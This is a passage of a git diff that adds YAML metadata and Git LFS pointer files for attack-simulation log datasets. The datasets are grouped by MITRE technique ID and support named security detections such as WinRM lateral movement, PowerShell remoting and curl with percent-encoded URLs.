sha256:ae7a63c7e832cf236bda39771b6428d74328f86d0de7b8cd9171da2a7b0a0045 +size 1422 diff --git a/datasets/attack_techniques/T1021.004/snapattack/T1021.004_snapattack.yml b/datasets/attack_techniques/T1021.004/snapattack/T1021.004_snapattack.yml new file mode 100644 index 000000000..f56c8007b --- /dev/null +++ b/datasets/attack_techniques/T1021.004/snapattack/T1021.004_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: b6aeae12-18ac-487a-b45a-6b80c19ae82c +date: '2026-07-11' +description: Curated attack data generated for detection Windows PuTTY Suite Utility + Execution +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1021.004/snapattack/snapattack-b6aeae12-18ac-487a-b45a-6b80c19ae82c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1021.004/snapattack/snapattack-b6aeae12-18ac-487a-b45a-6b80c19ae82c.log b/datasets/attack_techniques/T1021.004/snapattack/snapattack-b6aeae12-18ac-487a-b45a-6b80c19ae82c.log new file mode 100644 index 000000000..58dde2a51 --- /dev/null +++ b/datasets/attack_techniques/T1021.004/snapattack/snapattack-b6aeae12-18ac-487a-b45a-6b80c19ae82c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ff4c18dcc3ca900ccd2231d21317913ce5d0cde61d6cd40a3832faba96f49adf +size 1462 diff --git a/datasets/attack_techniques/T1021.006/compmgtm_access/T1021.006_compmgtm_access.yml b/datasets/attack_techniques/T1021.006/compmgtm_access/T1021.006_compmgtm_access.yml new file mode 100644 index 000000000..43bb4da00 --- /dev/null +++ b/datasets/attack_techniques/T1021.006/compmgtm_access/T1021.006_compmgtm_access.yml @@ -0,0 +1,13 @@ +author: STRT +id: fc702dc7-8b37-4181-8922-8802d8d96ad9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Remote Host Computer + Management Access +environment: attack_range +directory: compmgtm_access +mitre_technique: [] +datasets: +- name: compmgmt_load + path: /datasets/attack_techniques/T1021.006/compmgtm_access/compmgmt_load-fc702dc7-8b37-4181-8922-8802d8d96ad9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.006/compmgtm_access/compmgmt_load-fc702dc7-8b37-4181-8922-8802d8d96ad9.log b/datasets/attack_techniques/T1021.006/compmgtm_access/compmgmt_load-fc702dc7-8b37-4181-8922-8802d8d96ad9.log new file mode 100644 index 000000000..583bd6f8e --- /dev/null +++ b/datasets/attack_techniques/T1021.006/compmgtm_access/compmgmt_load-fc702dc7-8b37-4181-8922-8802d8d96ad9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:76225b9df5cbdb7884fd5eda0dee5edc15b57d54de8f986b4032e23008cf9107 +size 2008 diff --git a/datasets/attack_techniques/T1021.006/lateral_movement/T1021.006_lateral_movement.yml b/datasets/attack_techniques/T1021.006/lateral_movement/T1021.006_lateral_movement.yml new file mode 100644 index 000000000..cccd8a6ab --- /dev/null +++ b/datasets/attack_techniques/T1021.006/lateral_movement/T1021.006_lateral_movement.yml @@ -0,0 +1,13 @@ +author: STRT +id: be170219-a55c-4f40-b1d7-c29257a8461c +date: '2026-07-10' +description: Curated attack data generated for detection Remote Process Instantiation + via WinRM and Winrs +environment: attack_range +directory: lateral_movement +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1021.006/lateral_movement/windows-sysmon-be170219-a55c-4f40-b1d7-c29257a8461c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.006/lateral_movement/windows-sysmon-be170219-a55c-4f40-b1d7-c29257a8461c.log b/datasets/attack_techniques/T1021.006/lateral_movement/windows-sysmon-be170219-a55c-4f40-b1d7-c29257a8461c.log new file mode 100644 index 000000000..f3a2e5a3e --- /dev/null +++ b/datasets/attack_techniques/T1021.006/lateral_movement/windows-sysmon-be170219-a55c-4f40-b1d7-c29257a8461c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:eaa67b41b4c7da68601d1eec32f42d99872453e12efea4cc04ec5ba12afd2049 +size 3851 diff --git a/datasets/attack_techniques/T1021.006/lateral_movement_lolbas/T1021.006_lateral_movement_lolbas.yml b/datasets/attack_techniques/T1021.006/lateral_movement_lolbas/T1021.006_lateral_movement_lolbas.yml new file mode 100644 index 000000000..b2d1059fa --- /dev/null +++ b/datasets/attack_techniques/T1021.006/lateral_movement_lolbas/T1021.006_lateral_movement_lolbas.yml @@ -0,0 +1,13 @@ +author: STRT +id: 154b1607-016a-4c4c-a431-a1c89dc71527 +date: '2026-07-11' +description: Curated attack data generated for detection Wsmprovhost LOLBAS Execution + Process Spawn +environment: attack_range +directory: lateral_movement_lolbas +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1021.006/lateral_movement_lolbas/windows-sysmon-154b1607-016a-4c4c-a431-a1c89dc71527.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.006/lateral_movement_lolbas/windows-sysmon-154b1607-016a-4c4c-a431-a1c89dc71527.log b/datasets/attack_techniques/T1021.006/lateral_movement_lolbas/windows-sysmon-154b1607-016a-4c4c-a431-a1c89dc71527.log new file mode 100644 index 000000000..d4f654c4f --- /dev/null +++ b/datasets/attack_techniques/T1021.006/lateral_movement_lolbas/windows-sysmon-154b1607-016a-4c4c-a431-a1c89dc71527.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e4cd24b2aeca943598c8ebf369cb09424463ff23ce2258e419a0db1b720c9328 +size 6267 diff --git a/datasets/attack_techniques/T1021.006/lateral_movement_psh/T1021.006_lateral_movement_psh.yml b/datasets/attack_techniques/T1021.006/lateral_movement_psh/T1021.006_lateral_movement_psh.yml new file mode 100644 index 000000000..ca410f39f --- /dev/null +++ b/datasets/attack_techniques/T1021.006/lateral_movement_psh/T1021.006_lateral_movement_psh.yml @@ -0,0 +1,17 @@ +author: STRT +id: d65283f7-f9cf-4470-b781-7f9600cecada +date: '2026-07-10' +description: Curated attack data generated for detection Remote Process Instantiation + via DCOM and PowerShell Script Block +environment: attack_range +directory: lateral_movement_psh +mitre_technique: [] +datasets: +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1021.006/lateral_movement_psh/windows-powershell-xml-d65283f7-f9cf-4470-b781-7f9600cecada.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1021.006/lateral_movement_psh/windows-sysmon-d65283f7-f9cf-4470-b781-7f9600cecada.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.006/lateral_movement_psh/windows-powershell-xml-d65283f7-f9cf-4470-b781-7f9600cecada.log b/datasets/attack_techniques/T1021.006/lateral_movement_psh/windows-powershell-xml-d65283f7-f9cf-4470-b781-7f9600cecada.log new file mode 100644 index 000000000..8f028d66b --- /dev/null +++ b/datasets/attack_techniques/T1021.006/lateral_movement_psh/windows-powershell-xml-d65283f7-f9cf-4470-b781-7f9600cecada.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9532e35a1b067dc3c8ed8afe630091262ff53e6215b8b4c3d8efa463a2424a6b +size 5003 diff --git a/datasets/attack_techniques/T1021.006/lateral_movement_psh/windows-sysmon-d65283f7-f9cf-4470-b781-7f9600cecada.log b/datasets/attack_techniques/T1021.006/lateral_movement_psh/windows-sysmon-d65283f7-f9cf-4470-b781-7f9600cecada.log new file mode 100644 index 000000000..43be79fff --- /dev/null +++ b/datasets/attack_techniques/T1021.006/lateral_movement_psh/windows-sysmon-d65283f7-f9cf-4470-b781-7f9600cecada.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8c741cf0ee960cdbbb196d8d0a528b85b31f117692e12d1faab372f59889aea6 +size 2097 diff --git a/datasets/attack_techniques/T1021.006/lateral_movement_pssession/T1021.006_lateral_movement_pssession.yml b/datasets/attack_techniques/T1021.006/lateral_movement_pssession/T1021.006_lateral_movement_pssession.yml new file mode 100644 index 000000000..62c975ee1 --- /dev/null +++ b/datasets/attack_techniques/T1021.006/lateral_movement_pssession/T1021.006_lateral_movement_pssession.yml @@ -0,0 +1,13 @@ +author: STRT +id: 52ffa665-a99b-4469-861f-ab088e5378b0 +date: '2026-07-10' +description: Curated attack data generated for detection Interactive Session on Remote + Endpoint with PowerShell +environment: attack_range +directory: lateral_movement_pssession +mitre_technique: [] +datasets: +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1021.006/lateral_movement_pssession/windows-powershell-xml-52ffa665-a99b-4469-861f-ab088e5378b0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1021.006/lateral_movement_pssession/windows-powershell-xml-52ffa665-a99b-4469-861f-ab088e5378b0.log b/datasets/attack_techniques/T1021.006/lateral_movement_pssession/windows-powershell-xml-52ffa665-a99b-4469-861f-ab088e5378b0.log new file mode 100644 index 000000000..564ce36e4 --- /dev/null +++ b/datasets/attack_techniques/T1021.006/lateral_movement_pssession/windows-powershell-xml-52ffa665-a99b-4469-861f-ab088e5378b0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:aa25d4a135fe668210478de9616418ce00d79a12a5f0efb62c33c80b2104af4f +size 5003 diff --git a/datasets/attack_techniques/T1021.006/wirm_execute_shell/T1021.006_wirm_execute_shell.yml b/datasets/attack_techniques/T1021.006/wirm_execute_shell/T1021.006_wirm_execute_shell.yml new file mode 100644 index 000000000..4a6f6625e --- /dev/null +++ b/datasets/attack_techniques/T1021.006/wirm_execute_shell/T1021.006_wirm_execute_shell.yml @@ -0,0 +1,13 @@ +author: STRT +id: a5beb523-07a7-49e0-bf8e-29c06f05b6c7 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Remote Management + Execute Shell +environment: attack_range +directory: wirm_execute_shell +mitre_technique: [] +datasets: +- name: winrshost_pwh + path: /datasets/attack_techniques/T1021.006/wirm_execute_shell/winrshost_pwh-a5beb523-07a7-49e0-bf8e-29c06f05b6c7.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.006/wirm_execute_shell/winrshost_pwh-a5beb523-07a7-49e0-bf8e-29c06f05b6c7.log b/datasets/attack_techniques/T1021.006/wirm_execute_shell/winrshost_pwh-a5beb523-07a7-49e0-bf8e-29c06f05b6c7.log new file mode 100644 index 000000000..bf27d8f15 --- /dev/null +++ b/datasets/attack_techniques/T1021.006/wirm_execute_shell/winrshost_pwh-a5beb523-07a7-49e0-bf8e-29c06f05b6c7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3fc01d7561d47823fd0b456b98425f1b34915c879316b745857ce41ac646da06 +size 1178235 diff --git a/datasets/attack_techniques/T1021.006/wsman_trustedhost/T1021.006_wsman_trustedhost.yml b/datasets/attack_techniques/T1021.006/wsman_trustedhost/T1021.006_wsman_trustedhost.yml new file mode 100644 index 000000000..ecbf64569 --- /dev/null +++ b/datasets/attack_techniques/T1021.006/wsman_trustedhost/T1021.006_wsman_trustedhost.yml @@ -0,0 +1,13 @@ +author: STRT +id: 59642323-7c28-46bc-9032-c024d390b394 +date: '2026-07-10' +description: Curated attack data generated for detection Powershell Remote Services + Add TrustedHost +environment: attack_range +directory: wsman_trustedhost +mitre_technique: [] +datasets: +- name: wsman_pwh + path: /datasets/attack_techniques/T1021.006/wsman_trustedhost/wsman_pwh-59642323-7c28-46bc-9032-c024d390b394.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1021.006/wsman_trustedhost/wsman_pwh-59642323-7c28-46bc-9032-c024d390b394.log b/datasets/attack_techniques/T1021.006/wsman_trustedhost/wsman_pwh-59642323-7c28-46bc-9032-c024d390b394.log new file mode 100644 index 000000000..3219a0e9e --- /dev/null +++ b/datasets/attack_techniques/T1021.006/wsman_trustedhost/wsman_pwh-59642323-7c28-46bc-9032-c024d390b394.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:17654c941a11e47ee26c7d316ec1c29b684b7dde95d1c23eb2c6473b318c1c66 +size 988 diff --git a/datasets/attack_techniques/T1021/allow_inbound_traffic_in_firewall_rule/T1021_allow_inbound_traffic_in_firewall_rule.yml b/datasets/attack_techniques/T1021/allow_inbound_traffic_in_firewall_rule/T1021_allow_inbound_traffic_in_firewall_rule.yml new file mode 100644 index 000000000..d828357b7 --- /dev/null +++ b/datasets/attack_techniques/T1021/allow_inbound_traffic_in_firewall_rule/T1021_allow_inbound_traffic_in_firewall_rule.yml @@ -0,0 +1,13 @@ +author: STRT +id: 65659385-a0a1-47bf-86a4-0089c920d0f1 +date: '2026-07-10' +description: Curated attack data generated for detection Allow Inbound Traffic In + Firewall Rule +environment: attack_range +directory: allow_inbound_traffic_in_firewall_rule +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1021/allow_inbound_traffic_in_firewall_rule/windows-xml-65659385-a0a1-47bf-86a4-0089c920d0f1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1021/allow_inbound_traffic_in_firewall_rule/windows-xml-65659385-a0a1-47bf-86a4-0089c920d0f1.log b/datasets/attack_techniques/T1021/allow_inbound_traffic_in_firewall_rule/windows-xml-65659385-a0a1-47bf-86a4-0089c920d0f1.log new file mode 100644 index 000000000..fd8a0a897 --- /dev/null +++ b/datasets/attack_techniques/T1021/allow_inbound_traffic_in_firewall_rule/windows-xml-65659385-a0a1-47bf-86a4-0089c920d0f1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:222761a0c0bab79c3f39b580929e9bbb181247ffa3d43cdad1bd39ec1152caa2 +size 1038 diff --git a/datasets/attack_techniques/T1021/esxi_shell_enabled/T1021_esxi_shell_enabled.yml b/datasets/attack_techniques/T1021/esxi_shell_enabled/T1021_esxi_shell_enabled.yml new file mode 100644 index 000000000..bd8a156ba --- /dev/null +++ b/datasets/attack_techniques/T1021/esxi_shell_enabled/T1021_esxi_shell_enabled.yml @@ -0,0 +1,12 @@ +author: STRT +id: d1bb18ac-1626-4cf3-bd46-5d0f4d665a12 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi Shell Access Enabled +environment: attack_range +directory: esxi_shell_enabled +mitre_technique: [] +datasets: +- name: esxi_shell_enabled + path: /datasets/attack_techniques/T1021/esxi_shell_enabled/esxi_shell_enabled-d1bb18ac-1626-4cf3-bd46-5d0f4d665a12.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1021/esxi_shell_enabled/esxi_shell_enabled-d1bb18ac-1626-4cf3-bd46-5d0f4d665a12.log b/datasets/attack_techniques/T1021/esxi_shell_enabled/esxi_shell_enabled-d1bb18ac-1626-4cf3-bd46-5d0f4d665a12.log new file mode 100644 index 000000000..b926b9e0c --- /dev/null +++ b/datasets/attack_techniques/T1021/esxi_shell_enabled/esxi_shell_enabled-d1bb18ac-1626-4cf3-bd46-5d0f4d665a12.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:73511f8303132563a8da03b915ecd939a4ba54a6254537df804fc817a112bae7 +size 487 diff --git a/datasets/attack_techniques/T1022/snapattack/T1022_snapattack.yml b/datasets/attack_techniques/T1022/snapattack/T1022_snapattack.yml new file mode 100644 index 000000000..a13830003 --- /dev/null +++ b/datasets/attack_techniques/T1022/snapattack/T1022_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: cf8bf985-984c-4b38-9058-370eedb12592 +date: '2026-07-11' +description: Curated attack data generated for detection Windows .Key File Creation + in Root Directory +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1022/snapattack/snapattack-cf8bf985-984c-4b38-9058-370eedb12592.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1022/snapattack/snapattack-cf8bf985-984c-4b38-9058-370eedb12592.log b/datasets/attack_techniques/T1022/snapattack/snapattack-cf8bf985-984c-4b38-9058-370eedb12592.log new file mode 100644 index 000000000..a0f8e0a63 --- /dev/null +++ b/datasets/attack_techniques/T1022/snapattack/snapattack-cf8bf985-984c-4b38-9058-370eedb12592.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:578ff20ab3ecc652b6afadfb4d88553b4c3dcedd6bc92f5badd88e7c72c298f5 +size 1226 diff --git a/datasets/attack_techniques/T1027.010/manual_b64_decode_pwsh/T1027.010_manual_b64_decode_pwsh.yml b/datasets/attack_techniques/T1027.010/manual_b64_decode_pwsh/T1027.010_manual_b64_decode_pwsh.yml new file mode 100644 index 000000000..f61298545 --- /dev/null +++ b/datasets/attack_techniques/T1027.010/manual_b64_decode_pwsh/T1027.010_manual_b64_decode_pwsh.yml @@ -0,0 +1,13 @@ +author: STRT +id: 939c131f-669c-402d-8bc8-4178c606dd9d +date: '2026-07-11' +description: Curated attack data generated for detection Windows PowerShell Process + Implementing Manual Base64 Decoder +environment: attack_range +directory: manual_b64_decode_pwsh +mitre_technique: [] +datasets: +- name: manual_b64_decode_pwsh + path: /datasets/attack_techniques/T1027.010/manual_b64_decode_pwsh/manual_b64_decode_pwsh-939c131f-669c-402d-8bc8-4178c606dd9d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1027.010/manual_b64_decode_pwsh/manual_b64_decode_pwsh-939c131f-669c-402d-8bc8-4178c606dd9d.log b/datasets/attack_techniques/T1027.010/manual_b64_decode_pwsh/manual_b64_decode_pwsh-939c131f-669c-402d-8bc8-4178c606dd9d.log new file mode 100644 index 000000000..b19e04223 --- /dev/null +++ b/datasets/attack_techniques/T1027.010/manual_b64_decode_pwsh/manual_b64_decode_pwsh-939c131f-669c-402d-8bc8-4178c606dd9d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cb7094bc3b9615032bde0922241aa5fbfcc3e527602c83cbeacb53804f30b521 +size 14053 diff --git a/datasets/attack_techniques/T1027.010/snapattack/T1027.010_snapattack.yml b/datasets/attack_techniques/T1027.010/snapattack/T1027.010_snapattack.yml new file mode 100644 index 000000000..aad170927 --- /dev/null +++ b/datasets/attack_techniques/T1027.010/snapattack/T1027.010_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 63ce8c7b-f833-471b-9637-e6941d9eec04 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Command Obfuscation + with Environment Variable Substrings +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1027.010/snapattack/snapattack-63ce8c7b-f833-471b-9637-e6941d9eec04.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1027.010/snapattack/snapattack-63ce8c7b-f833-471b-9637-e6941d9eec04.log b/datasets/attack_techniques/T1027.010/snapattack/snapattack-63ce8c7b-f833-471b-9637-e6941d9eec04.log new file mode 100644 index 000000000..dbd27bc10 --- /dev/null +++ b/datasets/attack_techniques/T1027.010/snapattack/snapattack-63ce8c7b-f833-471b-9637-e6941d9eec04.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:eab29ebcaf5fd2765a886b6f6c33bbf11b5a4f74cd2141b1b2daa4e627aab335 +size 1709 diff --git a/datasets/attack_techniques/T1027.013/rar_sfx_execution/T1027.013_rar_sfx_execution.yml b/datasets/attack_techniques/T1027.013/rar_sfx_execution/T1027.013_rar_sfx_execution.yml new file mode 100644 index 000000000..0dad34e4a --- /dev/null +++ b/datasets/attack_techniques/T1027.013/rar_sfx_execution/T1027.013_rar_sfx_execution.yml @@ -0,0 +1,13 @@ +author: STRT +id: e985b42a-bb88-4734-a554-9ed0333ce8f7 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Obfuscated Files + or Information via RAR SFX +environment: attack_range +directory: rar_sfx_execution +mitre_technique: [] +datasets: +- name: rar_sfx + path: /datasets/attack_techniques/T1027.013/rar_sfx_execution/rar_sfx-e985b42a-bb88-4734-a554-9ed0333ce8f7.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1027.013/rar_sfx_execution/rar_sfx-e985b42a-bb88-4734-a554-9ed0333ce8f7.log b/datasets/attack_techniques/T1027.013/rar_sfx_execution/rar_sfx-e985b42a-bb88-4734-a554-9ed0333ce8f7.log new file mode 100644 index 000000000..bdfdc811f --- /dev/null +++ b/datasets/attack_techniques/T1027.013/rar_sfx_execution/rar_sfx-e985b42a-bb88-4734-a554-9ed0333ce8f7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0d6d47389ba99ef2ca5905e6e9a06a245cbd6e690c075dd42724dcc51c386c5c +size 2062 diff --git a/datasets/attack_techniques/T1027/atomic_red_team/T1027_atomic_red_team.yml b/datasets/attack_techniques/T1027/atomic_red_team/T1027_atomic_red_team.yml new file mode 100644 index 000000000..142e19ffa --- /dev/null +++ b/datasets/attack_techniques/T1027/atomic_red_team/T1027_atomic_red_team.yml @@ -0,0 +1,16 @@ +author: STRT +id: 6e224e3d-6785-45eb-a472-aa9db8d15030 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Decode Base64 to Shell +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: linux-sysmon + path: /datasets/attack_techniques/T1027/atomic_red_team/linux-sysmon-6e224e3d-6785-45eb-a472-aa9db8d15030.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1027/atomic_red_team/windows-sysmon-6e224e3d-6785-45eb-a472-aa9db8d15030.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1027/atomic_red_team/linux-sysmon-6e224e3d-6785-45eb-a472-aa9db8d15030.log b/datasets/attack_techniques/T1027/atomic_red_team/linux-sysmon-6e224e3d-6785-45eb-a472-aa9db8d15030.log new file mode 100644 index 000000000..f2bab342c --- /dev/null +++ b/datasets/attack_techniques/T1027/atomic_red_team/linux-sysmon-6e224e3d-6785-45eb-a472-aa9db8d15030.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:469b879884e488114bc5a90b9a9373487d04bf82e5254b22cf56d3df42d13971 +size 13551 diff --git a/datasets/attack_techniques/T1027/atomic_red_team/windows-sysmon-6e224e3d-6785-45eb-a472-aa9db8d15030.log b/datasets/attack_techniques/T1027/atomic_red_team/windows-sysmon-6e224e3d-6785-45eb-a472-aa9db8d15030.log new file mode 100644 index 000000000..fac4eacbc --- /dev/null +++ b/datasets/attack_techniques/T1027/atomic_red_team/windows-sysmon-6e224e3d-6785-45eb-a472-aa9db8d15030.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cef6a13ce5aea015c62b7aa0206abd408086660380a00c361b45dfa0d06a9a9b +size 846076 diff --git a/datasets/attack_techniques/T1027/url_encoded_curl/T1027_url_encoded_curl.yml b/datasets/attack_techniques/T1027/url_encoded_curl/T1027_url_encoded_curl.yml new file mode 100644 index 000000000..017ce02e0 --- /dev/null +++ b/datasets/attack_techniques/T1027/url_encoded_curl/T1027_url_encoded_curl.yml @@ -0,0 +1,17 @@ +author: STRT +id: ea77a2e2-78e0-418e-a3e4-729ae7d220fb +date: '2026-07-10' +description: Curated attack data generated for detection Curl Execution with Percent + Encoded URL +environment: attack_range +directory: url_encoded_curl +mitre_technique: [] +datasets: +- name: linux-sysmon + path: /datasets/attack_techniques/T1027/url_encoded_curl/linux-sysmon-ea77a2e2-78e0-418e-a3e4-729ae7d220fb.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1027/url_encoded_curl/windows-sysmon-ea77a2e2-78e0-418e-a3e4-729ae7d220fb.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1027/url_encoded_curl/linux-sysmon-ea77a2e2-78e0-418e-a3e4-729ae7d220fb.log b/datasets/attack_techniques/T1027/url_encoded_curl/linux-sysmon-ea77a2e2-78e0-418e-a3e4-729ae7d220fb.log new file mode 100644 index 000000000..38fb273c7 --- /dev/null +++ b/datasets/attack_techniques/T1027/url_encoded_curl/linux-sysmon-ea77a2e2-78e0-418e-a3e4-729ae7d220fb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:17e68325c4a924d85169fe4a1754c9d74f51a0b4f5f51fb754c02b37d620c961 +size 1755 diff --git a/datasets/attack_techniques/T1027/url_encoded_curl/windows-sysmon-ea77a2e2-78e0-418e-a3e4-729ae7d220fb.log b/datasets/attack_techniques/T1027/url_encoded_curl/windows-sysmon-ea77a2e2-78e0-418e-a3e4-729ae7d220fb.log new file mode 100644 index 000000000..7d228cf3b --- /dev/null +++ b/datasets/attack_techniques/T1027/url_encoded_curl/windows-sysmon-ea77a2e2-78e0-418e-a3e4-729ae7d220fb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3053a0fc5c685a5d87e8824593154f32e2d0c3a803473bedadc5605b4318bbf9 +size 6249 diff --git a/datasets/attack_techniques/T1033/AD_discovery/T1033_AD_discovery.yml b/datasets/attack_techniques/T1033/AD_discovery/T1033_AD_discovery.yml new file mode 100644 index 000000000..08cdfc2b7 --- /dev/null +++ b/datasets/attack_techniques/T1033/AD_discovery/T1033_AD_discovery.yml @@ -0,0 +1,16 @@ +author: STRT +id: 61e671ab-836a-4769-8ab3-54ef8b5c889c +date: '2026-07-11' +description: Curated attack data generated for detection GetCurrent User with PowerShell +environment: attack_range +directory: AD_discovery +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1033/AD_discovery/windows-sysmon-61e671ab-836a-4769-8ab3-54ef8b5c889c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1033/AD_discovery/windows-powershell-xml-61e671ab-836a-4769-8ab3-54ef8b5c889c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1033/AD_discovery/windows-powershell-xml-61e671ab-836a-4769-8ab3-54ef8b5c889c.log b/datasets/attack_techniques/T1033/AD_discovery/windows-powershell-xml-61e671ab-836a-4769-8ab3-54ef8b5c889c.log new file mode 100644 index 000000000..564ce36e4 --- /dev/null +++ b/datasets/attack_techniques/T1033/AD_discovery/windows-powershell-xml-61e671ab-836a-4769-8ab3-54ef8b5c889c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:aa25d4a135fe668210478de9616418ce00d79a12a5f0efb62c33c80b2104af4f +size 5003 diff --git a/datasets/attack_techniques/T1033/AD_discovery/windows-sysmon-61e671ab-836a-4769-8ab3-54ef8b5c889c.log b/datasets/attack_techniques/T1033/AD_discovery/windows-sysmon-61e671ab-836a-4769-8ab3-54ef8b5c889c.log new file mode 100644 index 000000000..0d0b82fb7 --- /dev/null +++ b/datasets/attack_techniques/T1033/AD_discovery/windows-sysmon-61e671ab-836a-4769-8ab3-54ef8b5c889c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:913950e408d3355c5c925ca50df2484f7ec17e3f382facf4f406cca28e312cdc +size 3981 diff --git a/datasets/attack_techniques/T1033/qakbot_discovery_cmdline/T1033_qakbot_discovery_cmdline.yml b/datasets/attack_techniques/T1033/qakbot_discovery_cmdline/T1033_qakbot_discovery_cmdline.yml new file mode 100644 index 000000000..3859435d3 --- /dev/null +++ b/datasets/attack_techniques/T1033/qakbot_discovery_cmdline/T1033_qakbot_discovery_cmdline.yml @@ -0,0 +1,13 @@ +author: STRT +id: b5d42382-83a2-4d46-bd6b-ced45628f4a8 +date: '2026-07-11' +description: Curated attack data generated for detection Windows System Discovery + Using ldap Nslookup +environment: attack_range +directory: qakbot_discovery_cmdline +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1033/qakbot_discovery_cmdline/sysmon-b5d42382-83a2-4d46-bd6b-ced45628f4a8.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git 